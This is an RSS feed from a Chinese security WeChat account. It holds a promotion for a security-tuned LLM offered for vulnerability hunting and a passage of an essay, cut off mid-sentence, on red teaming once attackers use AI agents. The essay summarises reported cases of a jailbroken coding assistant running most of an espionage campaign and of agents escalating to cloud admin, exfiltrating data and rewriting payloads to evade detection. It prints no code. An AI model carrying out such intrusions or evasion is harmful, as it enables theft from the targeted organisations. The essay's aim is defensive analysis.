<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>信安之路</title>
    <link>https://wechat2rss.xlab.app/feed/05b37f288856a510f293be0ff7ef4dfe212ec7e0.xml</link>
    <description>坚持原创，专注信息安全技术和经验的分享，致力于帮助十万初学者入门信息安全行业。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (信安之路)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7lpOnOdqSlZ3Vavc3W1USBZQetibPnrzDXdNx43gCfs7g/0</url>
      <title>信安之路</title>
      <link>https://wechat2rss.xlab.app/feed/05b37f288856a510f293be0ff7ef4dfe212ec7e0.xml</link>
    </image>
    <item>
      <title>挖洞专用大模型，算力白嫖，每天送 50 可测 10 个站！！！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500658&amp;idx=1&amp;sn=cbf70faa775d9e5cb13bbf7176c421e3</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>xazlsec</span> <span>2026-09-21 17:10</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e04cf122&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTa0T3xOnQgzrzUicDr2K5RK2aF5QdmkUYHuu3ODFd4RiaN1YwEqicC1ZeytsVApYaZcBD7lWxmRDl6wicTqmLbCZGNFlVe9dhUBicfQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <blockquote class="js_blockquote_wrap"><div class="js_blockquote_digest"><p><span leaf="">亲测一个网站花费3.82积分，每天赠送50积分，对我来说每天至少可以免费测试10个网站，测一个站平均耗时30分钟。</span></p></div><p class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22article%22%3A%7B%7D%2C%22from%22%3A%22https%3A%2F%2Fnccsec.cn%2Fllm%22%7D"><span class="blockquote_other"><a href="https://nccsec.cn/llm" target="_blank">https://nccsec.cn/llm</a></span></p></blockquote><p style="margin-bottom: 10px;margin-top: 16px;" data-pm-slice="0 0 []"><span leaf="">为进一步赋能广大网络安全从业者，降低AI安全工具使用门槛，提升漏洞挖掘、代码审计及攻防研究效率，</span><strong><span leaf="">NCC国家网络空间安全云社区接入网络安全领域专有大模型—Cyber-Model-1</span></strong><span leaf="">，平台AI模型算力服务功能板块正式开启试运营！</span></p><p style=""><span leaf="">与此同时，NCC已开启多模型扩容计划，后续将持续接入多款优质大模型，实现多模型互补、多场景适配，</span><strong style="letter-spacing: 1px;line-height: 1.8;font-size: 15px;box-sizing: border-box;font-style: normal;text-align: justify;color: rgb(62, 62, 62);font-weight: bold;"><span leaf="" style="font-weight: bold;">聚力打造中国的Mythos，构筑国产网络安全领域AI新生态<span textstyle="" style="font-weight: normal">，</span></span></strong><span leaf="">为平台白帽用户提供更全面、更专业的AI算力支撑。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3388888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100017003" src="https://wechat2rss.xlab.app/img-proxy/?k=785659cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbOiak8g1VVgibicggQ6r6sLIEeBTRuPI4CaYaFWlSFMkVfQ0iccvRkAAPhYg3N7XjYC5WbVxGDNH6ia7hK5DnicVADrr7eFkvBw5cXE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: bottom;align-self: flex-end;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 4px;border-left-color: rgb(59, 107, 253);min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(59, 107, 253);font-size: 16px;line-height: 1.3;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">安全垂类模型入驻</span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">适配全场景安全需求</span></strong></span></p></div></div></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本次入驻的</span><span style="color: rgb(62, 62, 62);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Cyber-Model-1</span><span leaf="" style="letter-spacing: 1px;line-height: 1.8;font-size: 15px;font-style: normal;text-align: justify;color: rgb(62, 62, 62);font-weight: bold;box-sizing: border-box;">是基于国内一线模型微调的</span><span leaf="">网络安全领域专属AI模型</span></strong></span><span leaf="">，拥有百万级超长上下文窗口、强悍的代码推理与智能拆解能力。不同于通用AI工具，</span><span style="text-decoration: underline;text-decoration-style: dashed;text-decoration-color: rgb(59,107,253);text-decoration-thickness: 1px;"><span leaf="">Cyber-Model-1模型深度适配安全赛道，聚焦网络安全实战场景，</span></span><span leaf="">助力用户高效排查代码漏洞、快速编写攻防脚本、梳理安全知识库、拆解复杂攻防项目，大幅降低技术研发与漏洞挖掘成本，完美适配白帽人员日常学习、实战攻坚、技术研究全场景需求。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.62109375" data-s="300,640" data-type="png" data-w="768" type="block" data-imgfileid="100017009" src="https://wechat2rss.xlab.app/img-proxy/?k=6a0774c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTaHd27kZWBTqGYRspUSTAX90DERSTHxybUcG9nYyCCicATMAEQmFgPwBR2QXlWghWIoJRopQSfgCuEjV1C5CsVJlug5FicBVI458%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 15px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: bottom;align-self: flex-end;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 4px;border-left-color: rgb(59, 107, 253);min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(59, 107, 253);font-size: 16px;line-height: 1.3;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">每日固定免费额度</span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">登录即可获取千万tokens</span></strong></span></p></div></div></div><div style="box-sizing: border-box;"><p style="margin: 0px 0px 10px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf="">本次AI模型功能仅对NCC平台已完成实名认证的个人用户开放，日常登录即可免费获取相应的算力额度。</span></p><ol style="list-style-type: decimal;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="margin: 0px 0px 10px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(62, 62, 62);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">每日登录获取免费模型积分：</span></strong></span><span leaf="">所有NCC平台实名认证用户，每日登录NCC平台，即可在当日免费获取固定额度的模型积分，利用这些模型积分可兑换千万tokens。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="color: rgb(62, 62, 62);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">安全币兑换补充算力额度：</span></strong></span><span leaf="">若免费tokens额度使用完毕，用户可通过已获取的安全币自主兑换模型积分，灵活补充算力，避免算力不足、中途断联等问题。</span></p></li></ol></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4824561403508772" data-s="300,640" data-type="png" data-w="684" type="block" data-imgfileid="100017004" src="https://wechat2rss.xlab.app/img-proxy/?k=3f36ada2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTatKpOhspxDfhW1G1fwSRgxNibr9owvvMG9vnsbIs4cZsCmbZneibib6u3SlYUtdoDDF5aXqzMiaMjN4xVIojAUKcibPB4ZLTHLEMibM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 15px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: bottom;align-self: flex-end;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 4px;border-left-color: rgb(59, 107, 253);min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(59, 107, 253);font-size: 16px;line-height: 1.3;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一站式AI算力平台</span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="letter-spacing: 1px;font-style: normal;justify-content: flex-start;flex-flow: row;vertical-align: bottom;align-self: flex-end;flex: 0 0 auto;min-width: 5%;max-width: 100%;text-align: justify;color: rgb(59, 107, 253);line-height: 1.3;font-size: 18px;font-weight: bold;box-sizing: border-box;" data-pm-slice="3 3 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;letter-spacing: 1px;line-height: 1.8;font-size: 15px;padding: 0px 10px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px 0px 10px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><font face="微软雅黑"><span leaf="" style="font-size: 18px;font-weight: bold;box-sizing: border-box;">赋能安全成长之路</span></font></span></strong></span></p></div></div></div><div style="margin: 0px 0px 10px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px 0px 10px;white-space: normal;padding: 0px;box-sizing: border-box;"><span leaf="">NCC始终聚焦安全人才培育与行业赋能，此次试运营AI大模型服务功能板块，</span><strong style="box-sizing: border-box;"><span leaf="">致力于建设网络安全领域的专属AI算力平台</span></strong><span leaf="">：用户无需注册多个AI账号、无需复杂配置，全程站内操作、无需跳转第三方，只需实名认证并登录即可免费获取相应的AI权益。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">未来，随着多类大模型陆续接入，NCC将实现多模型聚合、全场景覆盖、高性价比算力的一站式服务体系，</span><span leaf="" style="letter-spacing: 1px;line-height: 1.8;font-size: 15px;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);box-sizing: border-box;">为</span><span style="letter-spacing: 1px;line-height: 1.8;font-size: 15px;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);box-sizing: border-box;"><font face="微软雅黑"><span leaf="">打造中国的</span></font><font face="微软雅黑"><span leaf="">Mythos夯实技术底座。</span></font></span></p></div></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5715613382899628" data-s="300,640" data-type="png" data-w="1076" type="block" data-imgfileid="100017005" src="https://wechat2rss.xlab.app/img-proxy/?k=471d0de8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZtJib4RHdoBJaQ6kq6TnqVLfibuktKLFKCNzUQpk4QqPdWQX6sf3NkVPeURS2cXvvO4djZgSDz2FgfiaDbEoHWrnNKhNwYp5XjKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 15px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: bottom;align-self: flex-end;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 4px;border-left-color: rgb(59, 107, 253);min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(59, 107, 253);font-size: 16px;line-height: 1.3;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">即刻参与</span></strong></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 18px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">解锁NCC专属AI福利</span></strong></span></p></div></div></div><p style="margin: 0px 0px 15px;box-sizing: border-box;"><ol style="list-style-type: decimal;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="margin: 0px 0px 3px;padding: 0px;box-sizing: border-box;"><span leaf="">点击</span><strong style="box-sizing: border-box;"><span leaf="">nccsec.cn</span></strong><span leaf="">登录【</span><strong style="box-sizing: border-box;"><span leaf="">NCC国家网络空间安全云社区</span></strong><span leaf="">】；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 0px 3px;padding: 0px;box-sizing: border-box;"><span style="text-decoration: underline;text-decoration-style: dashed;text-decoration-color: rgb(59,107,253);text-decoration-thickness: 1px;"><span leaf="">完成账号实名认证</span></span><span leaf="">，解锁AI模型使用权限；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 0px 3px;padding: 0px;box-sizing: border-box;"><span style="text-decoration: underline;text-decoration-style: dashed;text-decoration-color: rgb(59,107,253);text-decoration-thickness: 1px;"><span leaf="">每日登录即可自动获取固定额度免费模型积分，兑换千万tokens</span></span><span leaf="">；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">提交漏洞、发布文章赚取安全币，使用安全币兑换更多模型积分，及时补充算力。</span></p></li></ol></p><div style="margin: 0px 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">扫码注册NCC平台账号，解锁专属AI算力福利，用AI赋能攻防实战，助力技术能力全面进阶！</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 32%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 210.234px !important;box-sizing: border-box;height: auto !important;visibility: visible !important;" data-imgfileid="100001452" src="https://wechat2rss.xlab.app/img-proxy/?k=4f38603d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FdBEVa0kEoRB63nxFajCpDzCbKS6CK2cZQiaZFkQxE20MlibW0SSk19LvQ8SiaYEjH7OwIzT6s1S0iaVVA1Bo8OKl49nHR8Y8qokCuiaHibXF5qa4Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26wxfrom%3D13%26tp%3Dwxpic%23imgIndex%3D2"/></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://nccsec.cn/llm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=30ce605b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500658%26idx%3D1%26sn%3Dcbf70faa775d9e5cb13bbf7176c421e3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 21 Sep 2026 17:10:00 +0800</pubDate>
    </item>
    <item>
      <title>攻击方 Agent 化之后，红队的出路在哪里</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500649&amp;idx=1&amp;sn=62baf4cf05db2db04c09ab65fd25bc82</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>Max Luo</span> <span>2026-09-14 11:33</span> <span style="display: inline-block;">山西</span></p>




  <p>以下文章来源于：白帽子罗棋琛</p>
  <strong>白帽子罗棋琛</strong>
  <p>网络安全专家，聚焦网络安全前沿洞察与技术分享。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6f9f4200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F4yRoMuNP850V8vrW0zTuPsspic0PamjDllDDFdEsg7wNqYghSwSKMYMxMEr0sr4zxLXpWicB4973XjYsr9nDYOjVjBMLicBgic1Sal9Ek75qVzs%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="markdown2wechat编辑器" style="font-size: 16px;color: black;padding: 0px 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;margin-bottom: 0px;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">攻击方 Agent 化之后，红队的出路在哪里</span></h1><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">作者简介</span></strong><span leaf="">：Max Luo（罗棋琛），加密货币交易所 AI 安全与自动化负责人，13 年安全从业经验，深耕 Web3 安全 / 安全运营与反入侵 / 内部威胁与防泄漏 / 应用安全。历任 SHEIN AI 安全中台、应用安全、安全 BP、红队等多个全球职能负责人，主导各体系从 0 到 1 建设，支撑全球化业务。开源书籍《AISecOps：AI 驱动的安全体系》作者，持有 OSCE3 等认证。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">微信：neteyes ｜ 公众号：白帽子罗棋琛 ｜ GitHub：cybermaxluo</span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队怎么自动化，业内探索了很多年。漏洞扫描器、BAS（入侵与攻击模拟）、攻击面管理、自动渗透测试，一代比一代进步，但都停在验证已知的风险上。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从今年发生的几个 AI 自动化入侵事件以及行业的研究成果来看，攻击这一侧的 Agent 已经接近全自动。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但让我改变判断的是攻击者那边的成本，不是红队这边的工具。防守方每加一道控制，付的是建设、运营和误伤；攻击方每绕过一道，付的是人、资源、时间和重复。安全防线能撑住，很多时候靠的是攻击方算下来不划算，而不是它本身多严密。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击这一端的成本正在被 Agent 压缩。摸清资产、找利用点、写 Po///C 做武器化、被检出以后持续对抗，这些过去要靠人、靠时间、靠一支有分工的队伍，现在一个人操纵一支 Agent 入侵军团就能并行地做。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队存在的理由，是替企业提前扮演真实对手。以前红队和攻击者是同一类人，一样要找路径、写工具，一样会因为成本收着打。现在对手把进攻智能化了，24 小时不知疲倦，同时开几十条线，试错成本极低。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我在第一篇讲 SOC<a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485094&amp;idx=1&amp;sn=e5730c8ccb659ed4988d04d182f92792&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">下一代 AI SOC 长什么样：SOC 版的 Codex</a>、第二篇讲应用安全<a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485114&amp;idx=1&amp;sn=26b783a56efad9d87ce28dab2466dcc6&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">最后一代应用安全工程师的自白</a>，说的都是防御端还停在人工研判和人工评审上，对上这样的对手已经是降维打击。红队如果不把进攻这一侧同样智能化，下一个就是红队自己。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一篇的核心判断是：</span><strong style="font-weight: bold;color: black;"><span leaf="">攻防之间差的不再是技术细节，是智能化的程度。对手用 Agent 规模化进攻，红队还在用手搓技战术的上古打法，只会被动挨打。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="系列传导链与本篇位置" class="rich_pages wxw-img" data-ratio="0.35185185185185186" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=631c81e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4yRoMuNP850KQT5f26Dlar7B2j0s1BAzIWuFZz6EIVmjbw6kNOwHHclrN9A0YtNMm2NJQUhdsfrrICvicpBAvSWZljrrXVWoG1TfJqn7ZCnk%2F640%3Ffrom%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">1、对手的打法变了</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2025 年 11 月，Anthropic 披露了首例被报告的、由 AI 主导的网络间谍行动。攻击者越狱 Claude Code，对全球约三十家机构发起入侵，八到九成的攻击动作由 AI 自主执行，人只在几个关键节点拍板。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2026 年 9 月最新的威胁情报报告里，这样的案例已经不止一个。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一个团伙用 Agent 把约一百八十万个安卓安装包反编译，扫出硬编码的密钥。其中一次入侵，从一个令牌到云管理员权限只用了约三小时，侦察、提权和数据外带几乎全由 Agent 完成，人负责入口凭据的获取和最后变现。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">另一个团伙的 Pay///load 被安全工具检出以后，Agent 自己改写重编译，绕过检测再接着跑，整个免杀对抗的循环没有人参与。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">手法还是老一套，改变的是规模和速度，报告把它总结成一句话，能力和资源脱钩了。一个单干的黑客和一个有国家背景的 APT，现在用同一套打法并行打多个受害者，这在过去要一支有分工的队伍。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队过去按对手的分级，脚本小子一档，有组织的团伙一档，国家级一档。这个分级快要失效了。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">2、漏洞工厂</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">同一份报告里还有一个团伙值得单独说。他们把模型接进逆向工程流程，针对某款主流安全产品做持续的漏洞研究，一个月产出十几个疑似 0day，多个子 Agent 并行拆不同目标，报告称这条流程 7×24 运行、几乎无人介入，人主要在最后审一遍。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以把它理解成一条漏洞产线，它描述的是持续的自动化挖掘，不是一次成功的挖掘。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">防守方一直靠时间差活着。一个漏洞从公开到被用出来，过去有几周，补丁、缓解、应急演练都排在这个窗口里。产线压缩的就是这个窗口，新版本发布当天重跑一遍，补丁还没打完，针对它的武器化工具已经出来了。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个能力不是只有攻击方有。Google Project Zero 的 Big Sleep 用 Agent 在 SQLite 里发现过一个此前未知的栈缓冲区下溢，研究团队也说明结果仍在实验阶段。2026 年 Anthropic 的 Claude Mythos Preview 在主流操作系统内核和浏览器里自主发现过此前未知的漏洞。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">武器化这一侧的效率更高。给 Firefox 的 18 个补丁，产出 8 个可用 Exploit，第一个在一小时内；给 Windows 内核的 21 个 CVE，产出 18 个 PoC，第一个用了 31 分钟，单个成本约两千美元。成功率不是 100%，但补丁窗口已经被压缩了。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻防两端的资源不对等，攻击方找到一个入口漏洞，防守方要把所有围绕这个漏洞的面都补上，成本是攻击方的数倍。同一条产线在攻击方手里是直接收益，在防守方手里跑出来的可能是一份修不完的清单。红队夹在中间，既要建这条产线，又要替防守方回答哪些纵深防御点优先级最高。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队接下来要面临的问题是，机器都能挖洞了，你们能不能挖到 AI 挖不到的。所以先得把&#34;未知&#34;拆开，它至少有四类，不在一个层级上。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前两类机器已经能找，而且只会越来越快。一类是未知漏洞，老问题在新代码里换个地方又出现；一类是未知路径，几项已知弱点组合出来的新攻击路径，每一项单看都不算漏洞。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第三类是没人提过的风险。业务方心里清楚哪件事绝不能发生，但从没在评审或需求里被提出来，也就不在测试范围里。这一类不是机器找不到，是没人把它写下来，安全工程师写成一条能判对错的规则，机器就能打。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span 